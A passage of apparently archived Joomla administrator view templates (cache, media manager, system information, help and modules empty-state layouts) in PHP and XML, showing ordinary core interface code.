                                </th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php $i = 0; ?>
                            <?php foreach ($this->data as $folder => $item) : ?>
                                <tr class="row<?php echo $i % 2; ?>">
                                    <td>
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->group, false, 'cid', 'cb', $item->group); ?>
                                    </td>
                                    <th scope="row">
                                        <?php echo $this->escape($item->group); ?>
                                    </th>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php echo $item->count; ?>
                                    </td>
                                    <td class="text-end d-none d-md-table-cell">
                                        <?php echo '&#x200E;' . HTMLHelper::_('number.bytes', $item->size); ?>
                                    </td>
                                </tr>
                                <?php $i++; ?>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // Load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
cache/default.xml000064400000000310151733023670007756 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CACHE_CACHE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CACHE_CACHE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
cache/emptystate.php000064400000001030151733023670010520 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_CACHE',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Cache',
    'icon'       => 'icon-bolt clear',
];

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
media/default.xml000064400000000310151733620540007771 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_MEDIA_MEDIA_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MEDIA_MEDIA_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
media/default.php000064400000005225151733620540007772 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Uri\Uri;

$app    = Factory::getApplication();
$params = ComponentHelper::getParams('com_media');
$input  = $app->getInput();
$user   = $app->getIdentity();

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useStyle('com_media.mediamanager')
    ->useScript('com_media.mediamanager');

// Populate the language
$this->loadTemplate('texts');

$tmpl = $input->getCmd('tmpl');

// Load the toolbar when we are in an iframe
if ($tmpl === 'component') {
    echo '<div class="subhead noshadow">';
    echo Toolbar::getInstance('toolbar')->render();
    echo '</div>';
}

$mediaTypes = '&mediatypes=' . $input->getString('mediatypes', '0,1,2,3');

// Populate the media config
$config = [
    'apiBaseUrl'          => Uri::base() . 'index.php?option=com_media&format=json' . $mediaTypes,
    'csrfToken'           => Session::getFormToken(),
    'filePath'            => $params->get('file_path', 'images'),
    'fileBaseUrl'         => Uri::root() . $params->get('file_path', 'images'),
    'fileBaseRelativeUrl' => $params->get('file_path', 'images'),
    'editViewUrl'         => Uri::base() . 'index.php?option=com_media&view=file' . ($tmpl ? '&tmpl=' . $tmpl : '')  . $mediaTypes,
    'imagesExtensions'    => array_map('trim', explode(',', $params->get('image_extensions', 'bmp,gif,jpg,jpeg,png,webp'))),
    'audioExtensions'     => array_map('trim', explode(',', $params->get('audio_extensions', 'mp3,m4a,mp4a,ogg'))),
    'videoExtensions'     => array_map('trim', explode(',', $params->get('video_extensions', 'mp4,mp4v,mpeg,mov,webm'))),
    'documentExtensions'  => array_map('trim', explode(',', $params->get('doc_extensions', 'doc,odg,odp,ods,odt,pdf,ppt,txt,xcf,xls,csv'))),
    'maxUploadSizeMb'     => $params->get('upload_maxsize', 10),
    'providers'           => (array) $this->providers,
    'currentPath'         => $this->currentPath,
    'isModal'             => $tmpl === 'component',
    'canCreate'           => $user->authorise('core.create', 'com_media'),
    'canEdit'             => $user->authorise('core.edit', 'com_media'),
    'canDelete'           => $user->authorise('core.delete', 'com_media'),
];
$this->document->addScriptOptions('com_media', $config);
?>
<div id="com-media"></div>
media/default_texts.php000064400000004700151733620540011216 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$translationStrings = [
    'COM_MEDIA_ACTIONS_TOOLBAR_LABEL',
    'COM_MEDIA_ACTION_DELETE',
    'COM_MEDIA_ACTION_DOWNLOAD',
    'COM_MEDIA_ACTION_EDIT',
    'COM_MEDIA_ACTION_PREVIEW',
    'COM_MEDIA_ACTION_RENAME',
    'COM_MEDIA_ACTION_SHARE',
    'COM_MEDIA_BREADCRUMB_LABEL',
    'COM_MEDIA_BROWSER_TABLE_CAPTION',
    'COM_MEDIA_CHANGE_ORDERING',
    'COM_MEDIA_CONFIRM_DELETE_MODAL',
    'COM_MEDIA_CONFIRM_DELETE_MODAL_HEADING',
    'COM_MEDIA_CREATE_NEW_FOLDER',
    'COM_MEDIA_CREATE_NEW_FOLDER_ERROR',
    'COM_MEDIA_CREATE_NEW_FOLDER_SUCCESS',
    'COM_MEDIA_DECREASE_GRID',
    'COM_MEDIA_DELETE_ERROR',
    'COM_MEDIA_DELETE_SUCCESS',
    'COM_MEDIA_DROP_FILE',
    'COM_MEDIA_ERROR',
    'COM_MEDIA_ERROR_NOT_AUTHENTICATED',
    'COM_MEDIA_ERROR_NOT_AUTHORIZED',
    'COM_MEDIA_ERROR_NOT_FOUND',
    'COM_MEDIA_ERROR_WARNFILETOOLARGE',
    'COM_MEDIA_FILE',
    'COM_MEDIA_FILE_EXISTS_AND_OVERRIDE',
    'COM_MEDIA_FOLDER',
    'COM_MEDIA_FOLDER_NAME',
    'COM_MEDIA_INCREASE_GRID',
    'COM_MEDIA_MANAGE_ITEM',
    'COM_MEDIA_MEDIA_DATE_CREATED',
    'COM_MEDIA_MEDIA_DATE_MODIFIED',
    'COM_MEDIA_MEDIA_DIMENSION',
    'COM_MEDIA_MEDIA_EXTENSION',
    'COM_MEDIA_MEDIA_MIME_TYPE',
    'COM_MEDIA_MEDIA_NAME',
    'COM_MEDIA_MEDIA_SIZE',
    'COM_MEDIA_MEDIA_TYPE',
    'COM_MEDIA_NAME',
    'COM_MEDIA_OPEN_ITEM_ACTIONS',
    'COM_MEDIA_ORDER_ASC',
    'COM_MEDIA_ORDER_BY',
    'COM_MEDIA_ORDER_DESC',
    'COM_MEDIA_ORDER_DIRECTION',
    'COM_MEDIA_PLEASE_SELECT_ITEM',
    'COM_MEDIA_RENAME',
    'COM_MEDIA_RENAME_ERROR',
    'COM_MEDIA_RENAME_SUCCESS',
    'COM_MEDIA_SEARCH',
    'COM_MEDIA_SELECT_ALL',
    'COM_MEDIA_SERVER_ERROR',
    'COM_MEDIA_SHARE',
    'COM_MEDIA_SHARE_COPY',
    'COM_MEDIA_SHARE_COPY_FAILED_ERROR',
    'COM_MEDIA_SHARE_DESC',
    'COM_MEDIA_TOGGLE_INFO',
    'COM_MEDIA_TOGGLE_LIST_VIEW',
    'COM_MEDIA_TOGGLE_SELECT_ITEM',
    'COM_MEDIA_TOOLBAR_LABEL',
    'COM_MEDIA_UPLOAD_SUCCESS',
    'ERROR',
    'JACTION_CREATE',
    'JAPPLY',
    'JCANCEL',
    'JGLOBAL_CONFIRM_DELETE',
    'JGLOBAL_NO_MATCHING_RESULTS',
    'JLIB_FORM_FIELD_REQUIRED_VALUE',
    'MESSAGE',
];

foreach ($translationStrings as $string) {
    Text::script($string);
}
file/default.php000064400000006072151733620540007633 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Uri\Uri;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useStyle('com_media.mediamanager');

$script = $wa->getAsset('script', 'com_media.edit-images')->getUri(true);

$params = ComponentHelper::getParams('com_media');
$input  = Factory::getApplication()->getInput();

/** @var \Joomla\CMS\Form\Form $form */
$form = $this->form;

$tmpl = $input->getCmd('tmpl');

$input->set('hidemainmenu', true);

// Load the toolbar when we are in an iframe
if ($tmpl == 'component') {
    echo '<div class="subhead noshadow">';
    echo Toolbar::getInstance('toolbar')->render();
    echo '</div>';
}

$mediaTypes = $input->getString('mediatypes', '0');

// Populate the media config
$config = [
    'apiBaseUrl'         => Uri::base() . 'index.php?option=com_media&format=json' . '&mediatypes=' . $mediaTypes,
    'csrfToken'          => Session::getFormToken(),
    'uploadPath'         => $this->file->path,
    'editViewUrl'        => Uri::base() . 'index.php?option=com_media&view=file' . ($tmpl ? '&tmpl=' . $tmpl : '') . '&mediatypes=' . $mediaTypes,
    'imagesExtensions'   => array_map('trim', explode(',', $params->get('image_extensions', 'bmp,gif,jpg,jpeg,png,webp'))),
    'audioExtensions'    => array_map('trim', explode(',', $params->get('audio_extensions', 'mp3,m4a,mp4a,ogg'))),
    'videoExtensions'    => array_map('trim', explode(',', $params->get('video_extensions', 'mp4,mp4v,mpeg,mov,webm'))),
    'documentExtensions' => array_map('trim', explode(',', $params->get('doc_extensions', 'doc,odg,odp,ods,odt,pdf,ppt,txt,xcf,xls,csv'))),
    'maxUploadSizeMb'    => $params->get('upload_maxsize', 10),
    'contents'           => $this->file->content,
];

$this->document->addScriptOptions('com_media', $config);

$this->useCoreUI = true;
?>
<form action="#" method="post" name="adminForm" id="media-form" class="form-validate main-card media-form mt-3">
    <?php $fieldSets = $form->getFieldsets(); ?>
    <?php if ($fieldSets) : ?>
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'attrib-' . reset($fieldSets)->name, 'breakpoint' => 768]); ?>
        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>
        <?php echo '<div id="media-manager-edit-container" class="media-manager-edit"></div>'; ?>
        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    <?php endif; ?>
    <input type="hidden" name="mediatypes" value="<?php echo $this->escape($mediaTypes); ?>">
</form>
<script type="module" src="<?php echo $script . '?' . $this->document->getMediaVersion(); ?>"></script>
sysinfo/default_system.php000064400000010363151734417160012013 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

/** @var \Joomla\Component\Admin\Administrator\View\Sysinfo\HtmlView $this */

?>
<div class="sysinfo">
    <table class="table">
        <caption class="visually-hidden">
            <?php echo Text::_('COM_ADMIN_SYSTEM_INFORMATION'); ?>
        </caption>
        <thead>
            <tr>
                <th scope="col" class="w-30">
                    <?php echo Text::_('COM_ADMIN_SETTING'); ?>
                </th>
                <th scope="col">
                    <?php echo Text::_('COM_ADMIN_VALUE'); ?>
                </th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_PHP_BUILT_ON'); ?>
                </th>
                <td>
                    <?php echo $this->info['php']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DATABASE_TYPE'); ?>
                </th>
                <td>
                    <?php echo $this->info['dbserver']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DATABASE_VERSION'); ?>
                </th>
                <td>
                    <?php echo $this->info['dbversion']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DATABASE_COLLATION'); ?>
                </th>
                <td>
                    <?php echo $this->info['dbcollation']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DATABASE_CONNECTION_COLLATION'); ?>
                </th>
                <td>
                    <?php echo $this->info['dbconnectioncollation']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DATABASE_CONNECTION_ENCRYPTION'); ?>
                </th>
                <td>
                    <?php echo $this->info['dbconnectionencryption'] ?: Text::_('JNONE'); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DATABASE_CONNECTION_ENCRYPTION_SUPPORTED'); ?>
                </th>
                <td>
                    <?php echo $this->info['dbconnencryptsupported'] ? Text::_('JYES') : Text::_('JNO'); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_PHP_VERSION'); ?>
                </th>
                <td>
                    <?php echo $this->info['phpversion']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_WEB_SERVER'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('system.server', $this->info['server']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE'); ?>
                </th>
                <td>
                    <?php echo $this->info['sapi_name']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_JOOMLA_VERSION'); ?>
                </th>
                <td>
                    <?php echo $this->info['version']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_USER_AGENT'); ?>
                </th>
                <td>
                    <?php echo htmlspecialchars($this->info['useragent'], ENT_COMPAT, 'UTF-8'); ?>
                </td>
            </tr>
        </tbody>
    </table>
</div>
sysinfo/default_phpsettings.php000064400000015754151734417160013050 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

/** @var \Joomla\Component\Admin\Administrator\View\Sysinfo\HtmlView $this */

?>
<div class="sysinfo">
    <table class="table">
        <caption class="visually-hidden">
            <?php echo Text::_('COM_ADMIN_PHP_SETTINGS'); ?>
        </caption>
        <thead>
            <tr>
                <th scope="col" class="w-30">
                    <?php echo Text::_('COM_ADMIN_SETTING'); ?>
                </th>
                <th scope="col">
                    <?php echo Text::_('COM_ADMIN_VALUE'); ?>
                </th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_UPLOAD_MAX_FILESIZE'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.string', $this->phpSettings['upload_max_filesize']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_POST_MAX_SIZE'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.string', $this->phpSettings['post_max_size']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_MEMORY_LIMIT'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.string', $this->phpSettings['memory_limit']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_OPEN_BASEDIR'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.string', $this->phpSettings['open_basedir']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DISPLAY_ERRORS'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.boolean', $this->phpSettings['display_errors']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_SHORT_OPEN_TAGS'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.boolean', $this->phpSettings['short_open_tag']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_FILE_UPLOADS'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.boolean', $this->phpSettings['file_uploads']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_OUTPUT_BUFFERING'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.boolean', $this->phpSettings['output_buffering']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_SESSION_SAVE_PATH'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.string', $this->phpSettings['session.save_path']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_SESSION_AUTO_START'); ?>
                </th>
                <td>
                    <?php echo (int) $this->phpSettings['session.auto_start']; ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_XML_ENABLED'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['xml']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_ZLIB_ENABLED'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['zlib']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_ZIP_ENABLED'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['zip']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_DISABLED_FUNCTIONS'); ?>
                </th>
                <td class="break-word">
                    <?php echo HTMLHelper::_('phpsetting.string', $this->phpSettings['disable_functions']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::sprintf('COM_ADMIN_EXTENSION_AVAILABLE', 'Fileinfo'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['fileinfo']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_MBSTRING_ENABLED'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['mbstring']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::sprintf('COM_ADMIN_EXTENSION_AVAILABLE', 'GD'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['gd']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::sprintf('COM_ADMIN_EXTENSION_AVAILABLE', 'iconv'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['iconv']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::sprintf('COM_ADMIN_EXTENSION_AVAILABLE', 'intl'); ?>
                </th>
                <td>
                    <?php echo HTMLHelper::_('phpsetting.set', $this->phpSettings['intl']); ?>
                </td>
            </tr>
            <tr>
                <th scope="row">
                    <?php echo Text::_('COM_ADMIN_MAX_INPUT_VARS'); ?>
                </th>
                <td>
                    <?php echo (int) $this->phpSettings['max_input_vars']; ?>
                </td>
            </tr>
        </tbody>
    </table>
</div>
sysinfo/default_config.php000064400000002471151734417160011735 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

/** @var \Joomla\Component\Admin\Administrator\View\Sysinfo\HtmlView $this */
?>
<div class="sysinfo">
    <table class="table">
        <caption class="visually-hidden">
            <?php echo Text::_('COM_ADMIN_CONFIGURATION_FILE'); ?>
        </caption>
        <thead>
            <tr>
                <th scope="col" class="w-30">
                    <?php echo Text::_('COM_ADMIN_SETTING'); ?>
                </th>
                <th scope="col">
                    <?php echo Text::_('COM_ADMIN_VALUE'); ?>
                </th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($this->config as $key => $value) : ?>
                <tr>
                    <th scope="row">
                        <?php echo $key; ?>
                    </th>
                    <td>
                        <?php echo HTMLHelper::_('configuration.value', $value); ?>
                    </td>
                </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
</div>
sysinfo/default.xml000064400000000314151734417160010413 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_ADMIN_SYSINFO_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_ADMIN_SYSINFO_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
sysinfo/default.php000064400000003310151734417160010401 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

/** @var \Joomla\Component\Admin\Administrator\View\Sysinfo\HtmlView $this */

?>
<div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'site', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'site', Text::_('COM_ADMIN_SYSTEM_INFORMATION')); ?>
        <?php echo $this->loadTemplate('system'); ?>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'phpsettings', Text::_('COM_ADMIN_PHP_SETTINGS')); ?>
        <?php echo $this->loadTemplate('phpsettings'); ?>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'config', Text::_('COM_ADMIN_CONFIGURATION_FILE')); ?>
        <?php echo $this->loadTemplate('config'); ?>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'directory', Text::_('COM_ADMIN_DIRECTORY_PERMISSIONS')); ?>
        <?php echo $this->loadTemplate('directory'); ?>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'phpinfo', Text::_('COM_ADMIN_PHP_INFORMATION')); ?>
        <?php echo $this->loadTemplate('phpinfo'); ?>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
</div>

sysinfo/default_directory.php000064400000002617151734417160012476 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

/** @var \Joomla\Component\Admin\Administrator\View\Sysinfo\HtmlView $this */

?>
<div class="sysinfo">
    <table class="table">
        <caption class="visually-hidden">
            <?php echo Text::_('COM_ADMIN_DIRECTORY_PERMISSIONS'); ?>
        </caption>
        <thead>
            <tr>
                <th scope="col" class="w-60">
                    <?php echo Text::_('COM_ADMIN_DIRECTORY'); ?>
                </th>
                <th scope="col">
                    <?php echo Text::_('COM_ADMIN_STATUS'); ?>
                </th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($this->directory as $dir => $info) : ?>
                <tr>
                    <th scope="row">
                        <?php echo '&#x200E;' . HTMLHelper::_('directory.message', $dir, $info['message']); ?>
                    </th>
                    <td>
                        <?php echo HTMLHelper::_('directory.writable', $info['writable']); ?>
                    </td>
                </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
</div>
sysinfo/default_phpinfo.php000064400000000631151734417160012127 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var \Joomla\Component\Admin\Administrator\View\Sysinfo\HtmlView $this */

?>
<div class="sysinfo">
    <?php echo $this->phpInfo; ?>
</div>
help/langforum.php000064400000001164151734417160010212 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

$this->getLanguage()->load('mod_menu', JPATH_ADMINISTRATOR);

$forumId   = (int) Text::_('MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE');

if (empty($forumId)) {
    $forumId = 511;
}

$forumUrl = 'https://forum.joomla.org/viewforum.php?f=' . $forumId;

Factory::getApplication()->redirect($forumUrl);
help/default.php000064400000005251151734417160007645 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Help\Help;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Admin\Administrator\View\Help\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_admin.admin-help');

?>
<form action="<?php echo Route::_('index.php?option=com_admin&amp;view=help'); ?>" method="post" name="adminForm" id="adminForm" class="main-card">
    <div class="row mt-sm-3">
        <div id="sidebar" class="col-md-3">
            <button class="btn btn-sm btn-secondary my-2 options-menu d-md-none" type="button" data-bs-toggle="collapse" data-bs-target=".sidebar-nav" aria-controls="help-index" aria-expanded="false">
                 <span class="icon-align-justify" aria-hidden="true"></span>
                 <?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>
            </button>
            <div class="sidebar-nav" id="help-index">
                <ul class="nav flex-column">
                    <li class="item"><?php echo HTMLHelper::_('link', Help::createUrl('Start_Here'), Text::_('COM_ADMIN_START_HERE'), ['target' => 'helpFrame']); ?></li>
                    <li class="item"><?php echo HTMLHelper::_('link', 'https://help.joomla.org/proxy?keyref=Help4.x:License', Text::_('COM_ADMIN_LICENSE'), ['target' => 'helpFrame']); ?></li>
                    <li class="item"><?php echo HTMLHelper::_('link', Help::createUrl('Glossary'), Text::_('COM_ADMIN_GLOSSARY'), ['target' => 'helpFrame']); ?></li>
                    <li class="divider"></li>
                    <li class="nav-header"><?php echo Text::_('COM_ADMIN_ALPHABETICAL_INDEX'); ?></li>
                    <?php foreach ($this->toc as $k => $v) : ?>
                        <li class="item">
                            <?php $url = Help::createUrl($k); ?>
                            <?php echo HTMLHelper::_('link', $url, $v, ['target' => 'helpFrame']); ?>
                        </li>
                    <?php endforeach; ?>
                </ul>
            </div>
        </div>
        <div class="col-md-9">
            <iframe onLoad="var x = getElementById('help-index'); x.classList.remove('show');" name="helpFrame" title="helpFrame" height="2100px" src="<?php echo $this->page; ?>" class="helpFrame table table-bordered"></iframe>
        </div>
    </div>
    <input class="textarea" type="hidden" name="option" value="com_admin">
</form>
help/default.xml000064400000000306151734417160007652 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_ADMIN_HELP_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_ADMIN_HELP_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
modules/emptystate.php000064400000002146151735620220011132 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_MODULES',
    'formURL'    => 'index.php?option=com_modules&view=select&client_id=' . $this->clientId,
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Module',
    'icon'       => 'icon-cube module',
    // Although it is (almost) impossible to get to this page with no created Administrator Modules, we add this for completeness.
    'title'      => Text::_('COM_MODULES_EMPTYSTATE_TITLE_' . ($this->clientId ? 'ADMINISTRATOR' : 'SITE')),
];

